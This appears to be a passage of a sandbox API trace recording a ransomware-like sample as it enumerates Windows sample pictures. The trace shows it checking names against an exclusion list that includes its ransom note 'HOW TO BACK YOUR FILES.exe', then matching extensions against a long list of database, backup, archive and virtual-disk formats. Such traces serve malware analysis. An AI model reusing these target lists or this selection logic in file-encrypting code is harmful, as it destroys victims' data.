	[0035.927] lstrlenW (lpString="rpd") returned 3
	[0035.928] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.928] lstrlenW (lpString="rsd") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.929] lstrlenW (lpString="sas7bdat") returned 8
	[0035.929] lstrcmpiW (lpString1="oala.jpg", lpString2="sas7bdat") returned -1
	[0035.929] lstrlenW (lpString="sbf") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.929] lstrlenW (lpString="scx") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.929] lstrlenW (lpString="sdb") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.929] lstrlenW (lpString="sdc") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.929] lstrlenW (lpString="sdf") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.929] lstrlenW (lpString="sis") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.929] lstrlenW (lpString="spq") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.929] lstrlenW (lpString="te") returned 2
	[0035.929] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.929] lstrlenW (lpString="teacher") returned 7
	[0035.929] lstrcmpiW (lpString1="ala.jpg", lpString2="teacher") returned -1
	[0035.929] lstrlenW (lpString="tmd") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.929] lstrlenW (lpString="tps") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.929] lstrlenW (lpString="trc") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.929] lstrlenW (lpString="trc") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.929] lstrlenW (lpString="trm") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.929] lstrlenW (lpString="udb") returned 3
	[0035.929] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0035.930] lstrlenW (lpString="udl") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0035.930] lstrlenW (lpString="usr") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0035.930] lstrlenW (lpString="v12") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0035.930] lstrlenW (lpString="vis") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0035.930] lstrlenW (lpString="vpd") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0035.930] lstrlenW (lpString="vvv") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0035.930] lstrlenW (lpString="wdb") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0035.930] lstrlenW (lpString="wmdb") returned 4
	[0035.930] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0035.930] lstrlenW (lpString="wrk") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0035.930] lstrlenW (lpString="xdb") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0035.930] lstrlenW (lpString="xld") returned 3
	[0035.930] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0035.930] lstrlenW (lpString="xmlff") returned 5
	[0035.930] lstrcmpiW (lpString1="a.jpg", lpString2="xmlff") returned -1
	[0035.930] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="..") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="windows") returned -1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="bootmgr") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="temp") returned -1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="pagefile.sys") returned -1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="boot") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ids.txt") returned 1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ntuser.dat") returned -1
	[0035.930] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="perflogs") returned -1
	[0035.931] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="MSBuild") returned -1
	[0035.931] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0035.931] lstrlenW (lpString="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned 50
	[0035.931] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Lighthouse.jpg" | out: lpString1="Lighthouse.jpg") returned="Lighthouse.jpg"
	[0035.931] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0035.931] lstrlenW (lpString="Apollon865") returned 10
	[0035.931] lstrcmpiW (lpString1="thouse.jpg", lpString2="Apollon865") returned 1
	[0035.931] lstrlenW (lpString=".dll") returned 4
	[0035.931] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".dll") returned 1
	[0035.931] lstrlenW (lpString=".lnk") returned 4
	[0035.931] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".lnk") returned 1
	[0035.931] lstrlenW (lpString=".ini") returned 4
	[0035.931] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".ini") returned 1
	[0035.931] lstrlenW (lpString=".sys") returned 4
	[0035.931] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".sys") returned 1
	[0035.931] lstrlenW (lpString="Lighthouse.jpg") returned 14
	[0035.931] lstrlenW (lpString="bak") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0035.931] lstrlenW (lpString="ba_") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0035.931] lstrlenW (lpString="dbb") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0035.931] lstrlenW (lpString="vmdk") returned 4
	[0035.931] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0035.931] lstrlenW (lpString="rar") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0035.931] lstrlenW (lpString="zip") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0035.931] lstrlenW (lpString="tgz") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0035.931] lstrlenW (lpString="vbox") returned 4
	[0035.931] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0035.931] lstrlenW (lpString="vdi") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0035.931] lstrlenW (lpString="vhd") returned 3
	[0035.931] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0035.931] lstrlenW (lpString="vhdx") returned 4
	[0035.931] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0035.932] lstrlenW (lpString="avhd") returned 4
	[0035.932] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0035.932] lstrlenW (lpString="db") returned 2
	[0035.932] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0035.932] lstrlenW (lpString="db2") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0035.932] lstrlenW (lpString="db3") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0035.932] lstrlenW (lpString="dbf") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0035.932] lstrlenW (lpString="mdf") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0035.932] lstrlenW (lpString="mdb") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0035.932] lstrlenW (lpString="sql") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0035.932] lstrlenW (lpString="sqlite") returned 6
	[0035.932] lstrcmpiW (lpString1="se.jpg", lpString2="sqlite") returned -1
	[0035.932] lstrlenW (lpString="sqlite3") returned 7
	[0035.932] lstrcmpiW (lpString1="use.jpg", lpString2="sqlite3") returned 1
	[0035.932] lstrlenW (lpString="sqlitedb") returned 8
	[0035.932] lstrcmpiW (lpString1="ouse.jpg", lpString2="sqlitedb") returned -1
	[0035.932] lstrlenW (lpString="xml") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0035.932] lstrlenW (lpString="$er") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0035.932] lstrlenW (lpString="4dd") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0035.932] lstrlenW (lpString="4dl") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0035.932] lstrlenW (lpString="^^^") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0035.932] lstrlenW (lpString="abs") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0035.932] lstrlenW (lpString="abx") returned 3
	[0035.932] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0035.932] lstrlenW (lpString="accdb") returned 5
	[0035.932] lstrcmpiW (lpString1="e.jpg", lpString2="accdb") returned 1
	[0035.932] lstrlenW (lpString="accdc") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accdc") returned 1
	[0035.933] lstrlenW (lpString="accde") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accde") returned 1
	[0035.933] lstrlenW (lpString="accdr") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accdr") returned 1
	[0035.933] lstrlenW (lpString="accdt") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accdt") returned 1
	[0035.933] lstrlenW (lpString="accdw") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accdw") returned 1
	[0035.933] lstrlenW (lpString="accft") returned 5
	[0035.933] lstrcmpiW (lpString1="e.jpg", lpString2="accft") returned 1
	[0035.933] lstrlenW (lpString="adb") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.933] lstrlenW (lpString="adb") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0035.933] lstrlenW (lpString="ade") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0035.933] lstrlenW (lpString="adf") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0035.933] lstrlenW (lpString="adn") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0035.933] lstrlenW (lpString="adp") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0035.933] lstrlenW (lpString="alf") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0035.933] lstrlenW (lpString="ask") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0035.933] lstrlenW (lpString="btr") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0035.933] lstrlenW (lpString="cat") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0035.933] lstrlenW (lpString="cdb") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0035.933] lstrlenW (lpString="ckp") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0035.933] lstrlenW (lpString="cma") returned 3
	[0035.933] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0035.934] lstrlenW (lpString="cpd") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0035.934] lstrlenW (lpString="dacpac") returned 6
	[0035.934] lstrcmpiW (lpString1="se.jpg", lpString2="dacpac") returned 1
	[0035.934] lstrlenW (lpString="dad") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0035.934] lstrlenW (lpString="dadiagrams") returned 10
	[0035.934] lstrcmpiW (lpString1="thouse.jpg", lpString2="dadiagrams") returned 1
	[0035.934] lstrlenW (lpString="daschema") returned 8
	[0035.934] lstrcmpiW (lpString1="ouse.jpg", lpString2="daschema") returned 1
	[0035.934] lstrlenW (lpString="db-journal") returned 10
	[0035.934] lstrcmpiW (lpString1="thouse.jpg", lpString2="db-journal") returned 1
	[0035.934] lstrlenW (lpString="db-shm") returned 6
	[0035.934] lstrcmpiW (lpString1="se.jpg", lpString2="db-shm") returned 1
	[0035.934] lstrlenW (lpString="db-wal") returned 6
	[0035.934] lstrcmpiW (lpString1="se.jpg", lpString2="db-wal") returned 1
	[0035.934] lstrlenW (lpString="dbc") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0035.934] lstrlenW (lpString="dbs") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0035.934] lstrlenW (lpString="dbt") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0035.934] lstrlenW (lpString="dbv") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0035.934] lstrlenW (lpString="dbx") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0035.934] lstrlenW (lpString="dcb") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0035.934] lstrlenW (lpString="dct") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0035.934] lstrlenW (lpString="dcx") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0035.934] lstrlenW (lpString="ddl") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0035.934] lstrlenW (lpString="dlis") returned 4
	[0035.934] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0035.934] lstrlenW (lpString="dp1") returned 3
	[0035.934] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0035.934] lstrlenW (lpString="dqy") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0035.935] lstrlenW (lpString="dsk") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0035.935] lstrlenW (lpString="dsn") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0035.935] lstrlenW (lpString="dtsx") returned 4
	[0035.935] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0035.935] lstrlenW (lpString="dxl") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0035.935] lstrlenW (lpString="eco") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0035.935] lstrlenW (lpString="ecx") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0035.935] lstrlenW (lpString="edb") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0035.935] lstrlenW (lpString="epim") returned 4
	[0035.935] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0035.935] lstrlenW (lpString="fcd") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0035.935] lstrlenW (lpString="fdb") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0035.935] lstrlenW (lpString="fic") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0035.935] lstrlenW (lpString="flexolibrary") returned 12
	[0035.935] lstrcmpiW (lpString1="ghthouse.jpg", lpString2="flexolibrary") returned 1
	[0035.935] lstrlenW (lpString="fm5") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0035.935] lstrlenW (lpString="fmp") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0035.935] lstrlenW (lpString="fmp12") returned 5
	[0035.935] lstrcmpiW (lpString1="e.jpg", lpString2="fmp12") returned -1
	[0035.935] lstrlenW (lpString="fmpsl") returned 5
	[0035.935] lstrcmpiW (lpString1="e.jpg", lpString2="fmpsl") returned -1
	[0035.935] lstrlenW (lpString="fol") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0035.935] lstrlenW (lpString="fp3") returned 3
	[0035.935] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0035.935] lstrlenW (lpString="fp4") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0035.936] lstrlenW (lpString="fp5") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0035.936] lstrlenW (lpString="fp7") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0035.936] lstrlenW (lpString="fpt") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0035.936] lstrlenW (lpString="frm") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0035.936] lstrlenW (lpString="gdb") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.936] lstrlenW (lpString="gdb") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0035.936] lstrlenW (lpString="grdb") returned 4
	[0035.936] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0035.936] lstrlenW (lpString="gwi") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0035.936] lstrlenW (lpString="hdb") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0035.936] lstrlenW (lpString="his") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0035.936] lstrlenW (lpString="ib") returned 2
	[0035.936] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0035.936] lstrlenW (lpString="idb") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0035.936] lstrlenW (lpString="ihx") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0035.936] lstrlenW (lpString="itdb") returned 4
	[0035.936] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0035.936] lstrlenW (lpString="itw") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0035.936] lstrlenW (lpString="jet") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0035.936] lstrlenW (lpString="jtx") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0035.936] lstrlenW (lpString="kdb") returned 3
	[0035.936] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0035.936] lstrlenW (lpString="kexi") returned 4
	[0035.936] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0035.937] lstrlenW (lpString="kexic") returned 5
	[0035.937] lstrcmpiW (lpString1="e.jpg", lpString2="kexic") returned -1
	[0035.937] lstrlenW (lpString="kexis") returned 5
	[0035.937] lstrcmpiW (lpString1="e.jpg", lpString2="kexis") returned -1
	[0035.937] lstrlenW (lpString="lgc") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0035.937] lstrlenW (lpString="lwx") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0035.937] lstrlenW (lpString="maf") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0035.937] lstrlenW (lpString="maq") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0035.937] lstrlenW (lpString="mar") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0035.937] lstrlenW (lpString="marshal") returned 7
	[0035.937] lstrcmpiW (lpString1="use.jpg", lpString2="marshal") returned 1
	[0035.937] lstrlenW (lpString="mas") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0035.937] lstrlenW (lpString="mav") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0035.937] lstrlenW (lpString="maw") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0035.937] lstrlenW (lpString="mdbhtml") returned 7
	[0035.937] lstrcmpiW (lpString1="use.jpg", lpString2="mdbhtml") returned 1
	[0035.937] lstrlenW (lpString="mdn") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0035.937] lstrlenW (lpString="mdt") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0035.937] lstrlenW (lpString="mfd") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0035.937] lstrlenW (lpString="mpd") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0035.937] lstrlenW (lpString="mrg") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0035.937] lstrlenW (lpString="mud") returned 3
	[0035.937] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0035.937] lstrlenW (lpString="mwb") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0035.938] lstrlenW (lpString="myd") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0035.938] lstrlenW (lpString="ndf") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0035.938] lstrlenW (lpString="nnt") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0035.938] lstrlenW (lpString="nrmlib") returned 6
	[0035.938] lstrcmpiW (lpString1="se.jpg", lpString2="nrmlib") returned 1
	[0035.938] lstrlenW (lpString="ns2") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0035.938] lstrlenW (lpString="ns3") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0035.938] lstrlenW (lpString="ns4") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0035.938] lstrlenW (lpString="nsf") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0035.938] lstrlenW (lpString="nv") returned 2
	[0035.938] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0035.938] lstrlenW (lpString="nv2") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0035.938] lstrlenW (lpString="nwdb") returned 4
	[0035.938] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0035.938] lstrlenW (lpString="nyf") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0035.938] lstrlenW (lpString="odb") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.938] lstrlenW (lpString="odb") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0035.938] lstrlenW (lpString="oqy") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0035.938] lstrlenW (lpString="ora") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0035.938] lstrlenW (lpString="orx") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0035.938] lstrlenW (lpString="owc") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0035.938] lstrlenW (lpString="p96") returned 3
	[0035.938] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0035.939] lstrlenW (lpString="p97") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0035.939] lstrlenW (lpString="pan") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0035.939] lstrlenW (lpString="pdb") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0035.939] lstrlenW (lpString="pdm") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0035.939] lstrlenW (lpString="pnz") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0035.939] lstrlenW (lpString="qry") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0035.939] lstrlenW (lpString="qvd") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0035.939] lstrlenW (lpString="rbf") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0035.939] lstrlenW (lpString="rctd") returned 4
	[0035.939] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0035.939] lstrlenW (lpString="rod") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0035.939] lstrlenW (lpString="rodx") returned 4
	[0035.939] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0035.939] lstrlenW (lpString="rpd") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0035.939] lstrlenW (lpString="rsd") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0035.939] lstrlenW (lpString="sas7bdat") returned 8
	[0035.939] lstrcmpiW (lpString1="ouse.jpg", lpString2="sas7bdat") returned -1
	[0035.939] lstrlenW (lpString="sbf") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0035.939] lstrlenW (lpString="scx") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0035.939] lstrlenW (lpString="sdb") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0035.939] lstrlenW (lpString="sdc") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0035.939] lstrlenW (lpString="sdf") returned 3
	[0035.939] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0035.940] lstrlenW (lpString="sis") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0035.940] lstrlenW (lpString="spq") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0035.940] lstrlenW (lpString="te") returned 2
	[0035.940] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0035.940] lstrlenW (lpString="teacher") returned 7
	[0035.940] lstrcmpiW (lpString1="use.jpg", lpString2="teacher") returned 1
	[0035.940] lstrlenW (lpString="tmd") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0035.940] lstrlenW (lpString="tps") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0035.940] lstrlenW (lpString="trc") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.940] lstrlenW (lpString="trc") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0035.940] lstrlenW (lpString="trm") returned 3
	[0035.940] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0035.940] lstrlenW (lpString="udb") returned 3
